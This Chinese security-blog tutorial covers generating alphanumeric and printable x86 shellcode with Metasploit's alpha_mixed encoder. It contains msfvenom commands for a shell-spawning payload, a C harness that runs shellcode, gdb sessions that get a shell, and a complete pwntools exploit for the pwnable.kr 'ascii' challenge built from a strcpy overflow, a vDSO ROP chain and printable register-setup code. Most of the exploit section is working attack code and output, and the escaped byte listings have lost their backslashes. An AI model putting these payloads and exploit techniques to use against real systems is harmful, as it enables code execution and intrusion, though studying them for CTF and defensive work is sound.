作者:WeaponX
预估稿费:400RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
背景
最近在看一些题目(pwnable.kr-ascii, pwnable.kr-ascii_easy, pwnable.tw-Death_Note)和漏洞(CVE-2017-7269-IIS6.0远程代码执行漏洞)的时候用到Alphanumeric/Printable shellcode。本文不阐述如何书写Alphanumeric/Printable shellcode,而是教大家如何使用Metasploit生成自己的shellcode和在特定条件下寄存器的设置。
所谓Alphanumeric是字符在[A-Za-z0-9]区间的,而Printable是字符的ascii码在0x1f和0x7f区间(不包含)的。
shellcode测试可以用以下代码测试。
/*
* $ gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
* $ ./shellcode
*/
#include <stdio.h>
#include <string.h>
char shellcode[] = {
"x89xe0xdbxd6xd9x70xf4x5ax4ax4ax4ax4ax4ax4ax4a"
"x4ax4ax4ax4ax43x43x43x43x43x43x37x52x59x6ax41"
"x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42"
"x42x30x42x42x41x42x58x50x38x41x42x75x4ax49x50"
"x6ax66x6bx53x68x4fx69x62x72x73x56x42x48x46x4d"
"x53x53x4bx39x49x77x51x78x34x6fx44x33x52x48x45"
"x50x72x48x74x6fx50x62x33x59x72x4ex6cx49x38x63"
"x70x52x38x68x55x53x67x70x35x50x65x50x74x33x45"
"x38x35x50x50x57x72x73x6fx79x58x61x5ax6dx6fx70"
"x41x41"
};
int main()
{
printf("Shellcode Length: %dn",(int)strlen(shellcode));
printf("Shellcode is [%s]n", shellcode);
int (*ret)() = (int(*)())shellcode;
ret();
return 0;
}
使用metasploit生成Alphanumeric shellcode
首先查看一下metasploit中有什么编码器,其次查看能实现Alphanumeric的编码器。
root@kali ~ msfvenom -l
Framework Encoders
==================
Name Rank Description
---- ---- -----------
...
x64/xor normal XOR Encoder
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
...
可以使用的Encoders有x86/alpha_mixed与x86/alpha_upper和x86/unicode_mixed与x86/unicode_upper,不过Unicode encoder是针对类似CVE-2017-7269等宽字节进行编码的。因此在本文中我们使用到的编码器为x86/alpha_mixed。
首先,使用msfvenom来生成一段shellcode并进行编码。
root@kali ~ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -e x86/alpha_mixed -f c
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 137 (iteration=0)
x86/alpha_mixed chosen with final size 137
Payload size: 137 bytes
unsigned char buf[] =
"x89xe0xdbxd6xd9x70xf4x5ax4ax4ax4ax4ax4ax4ax4a"
"x4ax4ax4ax4ax43x43x43x43x43x43x37x52x59x6ax41"
"x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42"
"x42x30x42x42x41x42x58x50x38x41x42x75x4ax49x50"
"x6ax66x6bx53x68x4fx69x62x72x73x56x42x48x46x4d"
"x53x53x4bx39x49x77x51x78x34x6fx44x33x52x48x45"
"x50x72x48x74x6fx50x62x33x59x72x4ex6cx49x38x63"
"x70x52x38x68x55x53x67x70x35x50x65x50x74x33x45"
"x38x35x50x50x57x72x73x6fx79x58x61x5ax6dx6fx70"
"x41x41";
可以发现,前几个字符x89xe0xdbxd6xd9x70xf4并不是Alphanumeric或者Printable,因为此shellcode的前面数条指令是为了让这段shellcode位置无关,完成了获取shellcode地址并放入通用寄存器中的功能。
然而,我们可以根据不同程序栈中的数据来自己完成将shellcode的地址放入指定的寄存器BufferRegister中的Alphanumeric Instructions。例如,当BufferRegister为ECX寄存器时,可以通过如下命令生成Alphanumeric shellcode。
⚡ root@kali ⮀ ~ ⮀ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -e x86/alpha_mixed BufferRegister=ECX -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/alpha_mixed
x86/alpha_mixed succeeded with size 129 (iteration=0)
x86/alpha_mixed chosen with final size 129
Payload size: 129 bytes
buf = ""
buf += "x49x49x49x49x49x49x49x49x49x49x49x49x49"
buf += "x49x49x49x49x37x51x5ax6ax41x58x50x30x41"
buf += "x30x41x6bx41x41x51x32x41x42x32x42x42x30"
buf += "x42x42x41x42x58x50x38x41x42x75x4ax49x71"
buf += "x7ax56x6bx32x78x6ax39x71x42x72x46x42x48"
buf += "x64x6dx63x53x6fx79x4ax47x73x58x34x6fx64"
buf += "x33x30x68x33x30x33x58x44x6fx42x42x72x49"
buf += "x30x6ex6fx79x48x63x76x32x38x68x67x73x37"
buf += "x70x67x70x57x70x43x43x63x58x33x30x62x77"
buf += "x76x33x6ex69x4dx31x38x4dx4bx30x41x41"
⚡ root@kali ⮀ ~ ⮀ python
Python 2.7.9 (default, Mar 1 2015, 12:57:24)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> buf = ""
>>> buf += "x49x49x49x49x49x49x49x49x49x49x49x49x49"
>>> buf += "x49x49x49x49x37x51x5ax6ax41x58x50x30x41"
>>> buf += "x30x41x6bx41x41x51x32x41x42x32x42x42x30"
>>> buf += "x42x42x41x42x58x50x38x41x42x75x4ax49x71"
>>> buf += "x7ax56x6bx32x78x6ax39x71x42x72x46x42x48"
>>> buf += "x64x6dx63x53x6fx79x4ax47x73x58x34x6fx64"
>>> buf += "x33x30x68x33x30x33x58x44x6fx42x42x72x49"
>>> buf += "x30x6ex6fx79x48x63x76x32x38x68x67x73x37"
>>> buf += "x70x67x70x57x70x43x43x63x58x33x30x62x77"
>>> buf += "x76x33x6ex69x4dx31x38x4dx4bx30x41x41"
>>> buf
'IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIqzVk2xj9qBrFBHdmcSoyJGsX4od30h303XDoBBrI0noyHcv28hgs7pgpWpCCcX30bwv3niM18MK0AA'
测试生成的shellcode时会发生段错误。因为执行shellcode时ECX中的值并不是shellcode的地址。
gdb-peda$ p $eip
$3 = (void (*)()) 0x804a040 <shellcode>
gdb-peda$ p $ecx
$4 = 0x0
此时需手动将ecx的值设置为0x804a040,然后继续执行。
gdb-peda$ p $ecx
$4 = 0x0
gdb-peda$ set $ecx=0x804a040
gdb-peda$ c
Continuing.
process 14672 is executing new program: /bin/dash
[New process 14689]
process 14689 is executing new program: /bin/dash
$ ls
[New process 14690]
process 14690 is executing new program: /bin/ls
peda-session-ls.txt peda-session-shellcode.txt shellcode shellcode.c
示例
题目下载地址:
https://github.com/Qwaz/solved-hacking-problem/tree/master/pwnable.kr/ascii
使用ida载入ELF文件查看伪代码。发现程序先分配了一块内存,然后向内存中写长度为499的数据(Printable),在函数vuln中使用strcpy时未检测源字符串长度发生栈溢出。
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE *ptr; // ebx@6
char v5; // [sp+4h] [bp-30h]@1
int base; // [sp+28h] [bp-Ch]@1
unsigned int offset; // [sp+2Ch] [bp-8h]@4
base = mmap(0x80000000, 4096, 7, 50, -1, 0);
if ( base != 0x80000000 )
{
puts("mmap failed. tell admin");
exit(1);
}
printf("Input text : ", v5);
offset = 0;
do
{
if ( offset > 399 )
break;
ptr = (_BYTE *)(base + offset);
*ptr = getchar();
++offset;
}
while ( is_ascii(*ptr) );
puts("triggering bug...");
return (int)vuln();
}
char *vuln()
{
char dest; // [sp+10h] [bp-A8h]@1
return strcpy(&dest, (const char *)0x80000000);
}
思路:
1.生成BufferRegister为EAX的shellcode
2.构造Alphanumeric Instructions设置寄存器EAX为shellcode的地址
3.将Printable shellcode写入mmap的内存中
4.构造ROP Chain跳入0x80000000
5.执行shellcode
STEP1
使用ldd查看程序并未加载动态库可以确定本程序是静态编译的。静态编译的程序通常有大量的ROP Gadgets供我们使用,不过题目要求输入的字符为可打印字符,这就需要Gadgets的地址是Printable的。
gdb-peda$ info proc map
process 15655
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x80ed000 0xa5000 0x0 /home/user/pwn/pwnkr/ascii/ascii
0x80ed000 0x80ef000 0x2000 0xa5000 /home/user/pwn/pwnkr/ascii/ascii
0x80ef000 0x8113000 0x24000 0x0 [heap]
0x55555000 0x55557000 0x2000 0x0 [vvar]
0x55557000 0x55559000 0x2000 0x0 [vdso]
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
可以看出代码段中的地址0x080e均是不可打印字符,所以不能在代码段中搜索Gadgets。不过可以使用ulimit -s unlimited将vDSO的基址固定来找vDSO中的Gadgets(mmap及linux地址空间随机化失效漏洞)。
使用命令dump binary memory ./vDsodump 0x55557000 0x55559000将vDSO所在的内存空间dump出来,当程序执行到ret观察栈中的数据并寻找可用的数据。
gdb-peda$ stack 15
0000| 0xffffd63c --> 0x8048fcb (<main+189>:mov ebx,DWORD PTR [ebp-0x4])
0004| 0xffffd640 --> 0x80c562e ("triggering bug...")
0008| 0xffffd644 --> 0x1000
0012| 0xffffd648 --> 0x7
0016| 0xffffd64c --> 0x32 ('2')
0020| 0xffffd650 --> 0xffffffff
0024| 0xffffd654 --> 0x0
0028| 0xffffd658 --> 0xffffd704 --> 0xffffd839 ("/home/user/pwn/pwnkr/ascii/ascii")
0032| 0xffffd65c --> 0x1
0036| 0xffffd660 --> 0x80496e0 (<__libc_csu_fini>:push ebx)
0040| 0xffffd664 --> 0x0
0044| 0xffffd668 --> 0x80000000 --> 0xa31 ('1n')
0048| 0xffffd66c --> 0x2
0052| 0xffffd670 --> 0x0
0056| 0xffffd674 --> 0x0
明显看出pop3_ret + pop3_ret + pop2_ret可以让程序跳入0x80000000执行shellcode。然后使用rp++在dump出的vDSO内存空间中搜索ROP Gadgets。在offset中寻找Printable的Gadgets发现有pop3_ret(0x00000751)和pop2_ret(0x00000752),这样就可以构造出跳入0x80000000的ROP Chain。
STEP2
使用metasploit生成BufferRegister为EAX的shellcode,现在需要编写Printable Instructions将EAX设置为shellcode起始的地址。opcode为Alphanumeric的指令如下表所示
r(register)代表寄存器,r8代表8位寄存器例如alah等
m(memory)代表内存
imm(immediate value)代表立即数
rel(relative address)代表相对地址
r/m(register or memory)代表内存或寄存器,可参考ModR/M与SIB编码
在程序跳入shellcode中(0x80000000)时,各个寄存器的值如下。
gdb-peda$ info r
eax 0xffffd5900xffffd590
ecx 0x800000d00x800000d0
edx 0xffffd6600xffffd660
ebx 0x800000d70x800000d7
esp 0xffffd66c0xffffd66c
ebp 0xa6161610xa616161
esi 0x414141410x41414141
edi 0x414141410x41414141
eip 0x800000000x80000000
可以使用XOR AL, imm8清除EAX的低7bit,再用过DEC EAX/AX完成EAX的高位退位,多次重复后可以得到需要的地址(本实例仅需重复一次)。
# Alphanumeric
push ecx //Q
pop eax //X => eax = 0x800000d0
xor al,0x50 //4P => eax = 0x80000080
push eax //P
pop ecx //Y
dec ecx //I => ecx = 0x8000007f
push ecx //Q
pop eax //X
xor al,0x74 //4t => eax = 0x8000000b => shellcode begin = 0x80000000 + len(QX4PPYIQX4t)
得到的指令序列为QX4PPYIQX4t。但题目中并不要求Alphanumeric而是要求Printable,所以可以使用sub完成寄存器数据的修改。
>>> asm("sub eax,0x41")
'x83xe8A'
>>> asm("sub ebx,0x41")
'x83xebA'
>>> asm("sub ecx,0x41")
'x83xe9A'
>>> asm("sub edx,0x41")
'x83xeaA'
>>> asm("sub al,0x41")
',A'
>>> asm("sub bl,0x41")
'x80xebA'
>>> asm("sub cl,0x41")
'x80xe9A'
>>> asm("sub dl,0x41")
'x80xeaA'
能大段修改的寄存器只有EAX且范围为0x20-0x7e,可以分两步修改。最终使用的Shellcode头部为
# Printable
push ebx //S
pop eax //X => 0x800000d7
sub al, 0x7e //,~ => 0x80000059
sub al, 0x53 //,S => 0x80000006 => shellcode begin = 0x80000000 + len(SX,~,S)
和shellcode拼接起来就获得了最终的exploit
from pwn import *
pop3_ret = 0x00000751 # : pop ebx ; pop esi ; pop ebp ; ret ; (1 found)
pop2_ret = 0x00000752 # : pop esi ; pop ebp ; ret ; (1 found)
# 0x1f < c < 0x7f
vdso_base = 0x55557000
offset = 172
#payload = "SX,~,S" # push ebx;pop eax;sub al,0x7e;sub al,0x53
payload = "QX4PPYIQX4t"
payload += "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0"
payload += "A00ABAABTAAQ2AB2BB0BBXP8ACJJIS"
payload += "ZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS"
payload += "0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE"
payload += "22I2NFOSCRHEP0WQCK9KQ8MK0AA"
payload = payload.ljust(offset, "x41")
# ROP CHAIN
payload += p32(vdso_base + pop3_ret)
payload += p32(0x41414141)
payload += p32(0x41414141)
payload += p32(0x41414141)
payload += p32(vdso_base + pop3_ret)
payload += p32(0x41414141)
payload += p32(0x41414141)
payload += p32(0x41414141)
payload += p32(vdso_base + pop2_ret)
payload += p32(0x41414141)
payload += "aaa"
io = process("./ascii")
io.sendline(payload)
io.interactive()
Refer
https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/
http://note.heron.me/2014/11/alphanumeric-shellcode-of-execbinsh.html
https://nets.ec/Alphanumeric_shellcode
https://nets.ec/Ascii_shellcode
http://www.vividmachines.com/shellcode/shellcode.html#ps
http://inaz2.hatenablog.com/entry/2014/07/11/004655
http://inaz2.hatenablog.com/entry/2014/07/12/000007
http://inaz2.hatenablog.com/entry/2014/07/13/025626
http://blog.sina.com.cn/s/blog_67b113a101011fl9.html
http://www.c-jump.com/CIS77/CPU/x86/X77_0080_mod_reg_r_m_byte_reg.htm